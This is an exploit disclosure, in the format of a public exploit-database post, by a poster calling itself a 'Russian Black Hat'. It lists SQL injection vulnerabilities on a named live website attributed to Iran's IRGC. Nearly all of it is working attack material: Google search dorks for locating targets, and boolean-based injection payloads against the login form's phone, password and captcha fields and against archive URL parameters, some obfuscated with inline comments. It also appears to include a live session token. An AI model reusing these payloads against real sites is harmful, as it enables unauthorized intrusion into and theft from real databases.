This site belongs to the Revolutionary Guards Intelligence Organization of the Islamic Republic of Iran (IRGC), which has a security problem with the SQL INJECTION Vulnerability "CWE-89". We have repeatedly reported to this site that it has a security problem and has ignored our report. We want to record this security issue ######################################################################################################################### # # # Exploit Title : Site affiliated To the intelligence agency Revolutionary Guards of the Islamic Republic of Iran (IRGC) SQL INJECTION Vulnerability # # # # Author : E1.Coders # # # # Contact : E1.Coders [at] Mail [dot] RU # # # # Portal Link : www.my.gerdab.ir # # # # Security Risk : Medium # # # # Description : All target's IRanian Military websites # # # # DorK : ""inurl:reports/status?s=" "site:my.gerdab.ir/reports/status?s=" # # # ######################################################################################################################### # # # Expl0iTs: # # # # address (refer url): https://gerdab.ir/fa/archive?service_id=9&sec_id=63 # # vulnerabillity : GET SQL INJECT BOOLEAN Based string # # action url: https://gerdab.ir/fa/archive?sec_id=63&service_id=99999999 -------------------------------------------------- # # vuln type : SQLInjection # # refer address : https://gerdab.ir/fa/archive?service_id=9&sec_id=63 # # request type : COOKIE # # action url : https://gerdab.ir/fa/archive?sec_id=63&^service_id=9 # # parameter : service_id # # description : COOKIE SQL INJECTION BooleanBased String # # POC : https://gerdab.ir/fa/archive?sec_id=63&^service_id=9%27) aNd 8634682=8634682 aNd (%276199%27)=(%276199 --------------------------------------- # vuln type : SQLInjection # # refer address : https://gerdab.ir/fa/archive?service_id=9&sec_id=63 # # request type : GET # # action url : https://gerdab.ir/fa/archive?sec_id=63&service_id=9 # # parameter : service_id # # description : GET SQL INJECTION BooleanBased Integer # # POC : https://gerdab.ir/fa/archive?sec_id=63&service_id=9 RLIKE (case when 8446715=8446715 then 0x74657374696E70757476616C7565 else 0x28 end) # # ------------------------------------------------------ # # # vuln type : SQLInjection # # refer address : https://my.gerdab.ir/login # # request type : POST # # action url : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&password=2420819&captcha=4844505&phone=99999999 # # parameter : phone # # description : POST SQL INJECTION BooleanBased Integer # # POC : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&password=2420819&captcha=4844505&phone=99999999/**/oR/**/8871966=8871966/**/aNd/**/7193=7193 # ------------------------------------------------ # # vuln type : SQLInjection # # refer address : https://my.gerdab.ir/login # # request type : POST # # action url : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&password=2420819&captcha=4844505&phone=2087986 # parameter : phone # # description : POST SQL INJECTION BooleanBased Integer # # POC : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&password=2420819&captcha=4844505&phone=2087986/**/RLIKE/**/(case/**/when/**//**/7338747=7338747/**/then/**/0x74657374696E70757476616C7565/**/else/**/0x28/**/end) # ------------------------------------------------ # # vuln type : SQLInjection # # refer address : https://my.gerdab.ir/login # # request type : POST # # action url : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&captcha=4844505&password=99999999 # # parameter : password # # description : POST SQL INJECTION BooleanBased String # # POC : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&captcha=4844505&password=99999999%27/**/oR/**/4563301=4563301/**/aNd/**/%276199%27=%276199 # ------------------------------------------------ # # vuln type : SQLInjection # # refer address : https://my.gerdab.ir/login # request type : POST # action url : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&captcha=4844505&password=2420819 # parameter : password # description : POST SQL INJECTION BooleanBased Integer # POC : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&captcha=4844505&password=2420819/**/RLIKE/**/(case/**/when/**//**/8423820=8423820/**/then/**/0x74657374696E70757476616C7565/**/else/**/0x28/**/end) # ------------------------------------------------ # # vuln type : SQLInjection # refer address : https://my.gerdab.ir/login # request type : POST # action url : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&password=2420819&captcha=99999999 # # parameter : captcha # # description : POST SQL INJECTION BooleanBased Integer # # POC : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&password=2420819&captcha=99999999/**/oR/**/6019831=6019831--%20 # ------------------------------------------------ # # vuln type : SQLInjection # # refer address : https://my.gerdab.ir/login # request type : POST # action url : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&password=2420819&captcha=4844505 # parameter : captcha # description : POST SQL INJECTION BooleanBased String # POC : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&password=2420819&captcha=4844505%27/**/RLIKE/**/(case/**/when/**//**/2804470=2804470/**/then/**/0x74657374696E70757476616C7565/**/else/**/0x28/**/end)/**/and/**/'7917'='7917 ------------------------------------------------ # # # 1: https://my.gerdab.ir/reports/status?s=1' # # # # 2: https://my.gerdab.ir/reports/status?s%22=%221%22 # # # ######################################################################################################################### # # # | Security Is JOCK | # # # # | Russian Black Hat | # # # ######################################################################################################################### -- E1 Coders